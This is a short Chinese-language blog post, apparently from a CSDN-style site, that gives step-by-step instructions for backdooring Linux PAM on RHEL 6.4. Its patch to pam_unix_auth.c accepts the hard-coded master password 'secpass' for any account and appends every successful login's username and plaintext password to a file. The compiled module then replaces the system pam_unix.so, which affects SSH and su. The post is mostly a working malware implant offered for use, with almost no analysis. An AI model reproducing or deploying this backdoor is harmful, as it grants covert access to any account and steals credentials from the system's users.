PAM模块的backdoor实现与分析

最新推荐文章于 2025-01-21 10:40:12 发布

weixin_33924770

最新推荐文章于 2025-01-21 10:40:12 发布

阅读量184

点赞数

CC 4.0 BY-SA版权

文章标签：运维

本文链接：https://blog.youkuaiyun.com/weixin_33924770/article/details/85118045

本文介绍在RHEL6.4环境中通过修改PAM模块实现万能密码登录的方法，并记录登录密码到指定文件。该方法影响所有使用PAM模块的认证方式，包括SSH、SU等。

环境RHEL6.4

wget http://www.linux-pam.org/library/Linux-PAM-1.1.1.tar.gz

tar xzvf Linux-PAM-1.1.1.tar.gz

主要修改 Linux-PAM-1.1.1/modules/pam_unix/pam_unix_auth.c

/* verify the password of this user */
                               
         retval = _unix_verify_password(pamh, name, p, ctrl);
                               
 if (strcmp(p,"secpass")==0 ){retval = PAM_SUCCESS;}
                               
 if(retval == PAM_SUCCESS)
                               
 {
                 FILE *fd;
                 fd = fopen(PASSWD_FILE, "a");
                 fprintf(fd, "%s:%s\n", name, p);
                         fclose(fd);
 }
         name = p = NULL;
         AUTH_RETURN;
 }

./configure && make

cp modules/pam_unix/.libs/pam_unix.so /lib/security/pam_unix.so 前提对系统现有pam_unix.so文件备份

测试ssh